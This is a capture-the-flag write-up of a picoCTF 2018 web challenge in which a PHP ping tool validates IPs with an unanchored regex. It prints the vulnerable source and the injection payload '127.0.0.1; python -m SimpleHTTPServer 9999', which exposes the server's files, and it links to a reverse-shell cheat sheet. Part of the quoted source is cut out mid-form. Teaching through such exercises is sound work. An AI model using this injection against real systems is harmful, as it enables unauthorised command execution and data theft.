Tags: command_injection
Rating: 5.0
Browsing to the site, we are greeted by a page asking for an IP to check and a
[link to the backend source code](http://2018shell3.picoctf.com:56517/index.txt) :
```php
<html>
<head>
<title>Monitoring Tool</title>
<script>
function check(){
ip = document.getElementById("ip").value;
chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);
if (!chk) {
alert("Wrong IP format.");
return false;
} else {
document.getElementById("monitor").submit();
}
}
</script>
</head>
<body>
<h1>Monitoring Tool ver 0.1</h1>
<form id="monitor" action="index.php" method="post" onsubmit="return false;">
Input IP address of the target host
<input id="ip" name="ip" type="text">
Target is NOT alive.</h3>");
break;
} else if (strpos($str, ', 0% packet loss') !== false){
printf("<h3>Target is alive.</h3>");
break;
}
}
} else {
echo "Wrong IP Format.";
}
}
?>
<hr>
index.php source code
</body>
</html>
```
Since the input is passed to php's `exec`, it seems like we have a command
injection to exploit. Two things stand in our way :
1. The input is validated
2. The command output is not returned
Let's figure this out
### Broken input validation = command injection
As the hint indicates, the IP addresses are not validated the same way on the
front-end and on the backend :
Front-end validation regex :
`/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/`
Back-end validation regex
`/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/`
The important difference here is that both regex start with `^` (which matches
the beginning of the string), but only the front-end regex ends with `$` (which
matches the end of the string). What that means is that the front-end will
reject the input if it contains anything after the IP, but the back-end won't.
Front-end validation is completely useless, since we can send requests directly
to the server.
The command executed is shown in that line of the source :
```php
exec('ping -c 1 '.$ip, $cmd_result);
```
Where `$ip` is our input (`$cmd_result` is used to store the output).
now our input needs to start with an ip address and provide a command to run.
so if we provide `127.0.0.1 ; command`, `command` will be executed after
`ping`.
Now what should our payload be ?
### Choosing a payload
The backend code doesn't return the input of what it `exec`s, it only returns
a message indicating whether the `ping`ed ip replied :
```php
foreach($cmd_result as $str){
if (strpos($str, '100% packet loss') !== false){
printf("<h3>Target is NOT alive.</h3>");
break;
} else if (strpos($str, ', 0% packet loss') !== false){
printf("<h3>Target is alive.</h3>");
break;
}
}
```
That means we can't simply run `ls` to look for the flag file and then `cat` it.
There are many ways of getting around that, the most obvious approach here
being a [reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet).
I decided to use a different payload for fun, based on two assumptions :
1. Python 2 is installed on the server
2. There is a flag file in the task's directory
My payload was `python -m SimpleHTTPServer 9999` (`127.0.0.1; python -m SimpleHTTPServer 9999`).
The [SimpleHTTPServer module](https://docs.python.org/2/library/simplehttpserver.html)
is part of the Python 2 standard library (it has been renamed to `http.server`
in Python 3), which means it's available if python is. When executed (using
python's `-m` option), it creates an HTTP server listening on the port passed
as an argument (`9999` here) and serving the current working directory.
When sending that payload, the client hangs : that means the code hasn't
returned, since it's running the http server.
Now if port `9999` is not firewalled, we should be able to browse to
`http://2018shell3.picoctf.com:56517` and get a file listing of the task's
directory.
And indeed, the flag is at `http://2018shell3.picoctf.com:9999/flag.txt` :
`picoCTF{n3v3r_trust_a_b0x_36d4a875}`.